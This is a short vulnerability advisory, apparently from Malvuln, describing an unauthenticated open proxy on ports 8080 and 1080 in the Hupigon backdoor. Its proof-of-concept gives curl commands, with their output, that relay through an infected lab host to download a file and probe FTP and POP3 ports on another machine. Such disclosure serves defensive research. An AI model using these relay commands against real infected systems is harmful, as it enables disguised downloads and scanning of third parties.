Backdoor.Win32.Hupigon.gy Unauthenticated Open Proxy

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/be74cbb86c007309d8004d910f5270f7.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Hupigon.gy  
Vulnerability: Unauthenticated Open Proxy  
Description: The malware listens on TCP ports 8080, 1080. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.  
Type: PE32  
MD5: be74cbb86c007309d8004d910f5270f7  
Vuln ID: MVID-2021-0357  
Dropped files: woaisaomm.exe   
Disclosure: 10/04/2021   
  
  
Exploit/PoC:  
Download filez)  
  
curl http://192.168.18.125:8080/DOOM.exe -H "Host: 192.168.18.128" --output DOOM.exe  
% Total % Received % Xferd Average Speed Time Time Time Current  
Dload Upload Total Spent Left Speed  
100 24576 100 24576 0 0 12288 0 0:00:02 0:00:02 --:--:-- 11155  
  
Scan ports)  
  
curl http://192.168.18.125:8080/DOOM.exe -H "Host: 192.168.18.128:21"  
220 INetSim FTP Service ready.  
500 Unknown command.  
  
curl http://192.168.18.125:8080/DOOM.exe -H "Host: 192.168.18.128:110"  
+OK INetSim POP3 Server ready <25705.1632630840@pop3host>  
-ERR Unknown command.  
  
  
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